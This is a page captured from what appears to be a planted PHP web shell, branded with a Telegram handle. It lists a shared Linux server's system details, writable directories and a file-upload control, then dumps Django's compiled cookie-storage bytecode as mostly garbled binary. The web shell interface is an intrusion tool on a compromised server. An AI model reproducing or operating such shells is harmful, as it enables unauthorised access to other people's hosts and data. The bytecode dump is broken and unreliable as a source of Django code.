https://t.me/RX1948
Server : Apache
System : Linux iad1-shared-b8-43 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
User : dh_edsupp ( 6597262)
PHP Version : 8.2.26
Disable Function : NONE
Directory :  /lib/python3/dist-packages/django/contrib/messages/storage/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //lib/python3/dist-packages/django/contrib/messages/storage/__pycache__/cookie.cpython-310.pyc
o

3�a��@s�ddlZddlZddlmZddlmZmZddlmZddl	m
Z
ddlmZm
Z
ddlmZmZGdd	�d	ej�ZGd
d�dej�ZGdd
�d
�ZGdd�de�ZdS)�N)�settings)�BaseStorage�Message)�signing)�SimpleCookie)�constant_time_compare�salted_hmac)�SafeData�	mark_safecs$eZdZdZdZ�fdd�Z�ZS)�MessageEncoderzI
    Compactly serialize instances of the ``Message`` class as JSON.
    �__json_messagecsRt|t�r#t|jt�r
dnd}|j||j|jg}|jr!|�|j�|St��	|�S)N�r)
�
isinstancer�messager	�message_key�level�
extra_tags�append�super�default)�self�obj�is_safedatar��	__class__��H/usr/lib/python3/dist-packages/django/contrib/messages/storage/cookie.pyrs
zMessageEncoder.default)�__name__�
__module__�__qualname__�__doc__rr�
__classcell__rrrrrsrcs(eZdZdZdd�Z�fdd�Z�ZS)�MessageDecoderzE
    Decode JSON that includes serialized ``Message`` instances.
    cszt|t�r+|r+|dtjkr"|drt|d�|d<t|dd��S�fdd�|D�St|t�r;�fdd�|��D�S|S)	Nrr
��csg|]}��|��qSr��process_messages)�.0�item�rrr�
<listcomp>(sz3MessageDecoder.process_messages.<locals>.<listcomp>csi|]
\}}|��|��qSrr%)r'�key�valuer)rr�
<dictcomp>*s�z3MessageDecoder.process_messages.<locals>.<dictcomp>)r�listrrr
r�dict�items�rrrr)rr&"s

�zMessageDecoder.process_messagescst�j|fi|��}|�|�S)N)r�decoder&)r�s�kwargs�decodedrrrr2.s
zMessageDecoder.decode)rrrr r&r2r!rrrrr"sr"c@seZdZdd�Zdd�ZdS)�MessageSerializercCstj|dtd��d�S)N)�,�:)�
separators�cls�latin-1)�json�dumpsr�encoder1rrrr=4s��zMessageSerializer.dumpscCstj|�d�td�S)Nr;�r:)r<�loadsr2r")r�datarrrr@;szMessageSerializer.loadsN)rrrr=r@rrrrr63sr6csleZdZdZdZdZdZdZ�fdd�Zdd	�Z	d
d�Z
dd
d�Zdd�Zddd�Z
dd�Zdd�Z�ZS)�
CookieStoragez%
    Store messages in a cookie.
    �messagesi�__messagesnotfinished__�django.contrib.messagescs&t�j|i|��tj|jd�|_dS)N)�salt)r�__init__r�get_cookie_signer�key_salt�signer)r�argsr4rrrrGKszCookieStorage.__init__cOsF|jj�|j�}|�|�}|o|d|jk}|r|s|��||fS)a

        Retrieve a list of messages from the messages cookie. If the
        not_finished sentinel value is found at the end of the message list,
        remove it and return a result indicating that not all messages were
        retrieved by this storage.
        ���)�request�COOKIES�get�cookie_name�_decode�not_finished�pop)rrKr4rArC�
all_retrievedrrr�_getOs
zCookieStorage._getcCsJ|r|j|j|tjtjp
dtjpdtjd�dS|j|jtjtjd�dS)zz
        Either set the cookie with the encoded data if there is any data to
        store, or delete the cookie.
        N)�domain�secure�httponly�samesite)rVrY)�
set_cookierPr�SESSION_COOKIE_DOMAIN�SESSION_COOKIE_SECURE�SESSION_COOKIE_HTTPONLY�SESSION_COOKIE_SAMESITE�
delete_cookie)r�encoded_data�responserrr�_update_cookie^s
�
�zCookieStorage._update_cookieTc	s�g}|�|�}|jrCt���fdd�}|rC||�|jkrC|r'|�|�d��n|�d|���|j||jg|d�}|rC||�|jks|�||�|S)aT
        Store the messages to a cookie and return a list of any messages which
        could not be stored.

        If the encoded data is larger than ``max_cookie_size``, remove
        messages until the data fits (these are the messages which are
        returned), and add the not_finished sentinel value to indicate as much.
        cst��|�d�S)Nr
)�len�value_encode)�val��cookierr�
stored_length�sz+CookieStorage._store.<locals>.stored_lengthr)�encode_empty)�_encode�max_cookie_sizerrrS�insertrRrb)	rrCra�
remove_oldestrKr4�unstored_messagesr`rhrrfr�_storers	
��zCookieStorage._storecCsd}t||���S)z�
        # RemovedInDjango40Warning: pre-Django 3.1 hashes will be invalid.
        Create an HMAC/SHA1 hash based on the value and the project setting's
        SECRET_KEY, modified to make it unique for the present purpose.
        rE)r�	hexdigest)rr,rIrrr�_legacy_hash�s	zCookieStorage._legacy_hashFcCs|s|r
|jj|tdd�SdS)a
        Return an encoded version of the messages list which can be stored as
        plain text.

        Since the data will be retrieved from the client-side, the encoded data
        also contains a hash to ensure that the data was not tampered with.
        T)�
serializer�compressN)rJ�sign_objectr6)rrCrirrrrj�s�zCookieStorage._encodec	Cs�|sdSz	|jj|td�WStjy|�|�}Yntjtj	fy.|j�
|�}Ynw|rDztj|td�WStj	yCYnwd|_
dS)z�
        Safely decode an encoded text stream back into a list of messages.

        If the encoded text stream contained an invalid hash or was in an
        invalid format, return None.
        N)rrr?T)rJ�
unsign_objectr6r�BadSignature�_legacy_decode�binascii�Errorr<�JSONDecodeError�unsignr@r"�used)rrAr5rrrrQ�s"��zCookieStorage._decodecCs8|�dd�}t|�dkr|\}}t||�|��r|SdS)N�$r
r$)�splitrcrrq)rrA�bits�hash_r,rrrrw�szCookieStorage._legacy_decode)T)F)rrrr rPrkrRrIrGrUrbrorqrjrQrwr!rrrrrB?s

"rB)rxr<�django.confr�$django.contrib.messages.storage.baserr�django.corer�django.httpr�django.utils.cryptorr�django.utils.safestringr	r
�JSONEncoderr�JSONDecoderr"r6rBrrrr�<module>s

https://t.me/RX1948 - 2025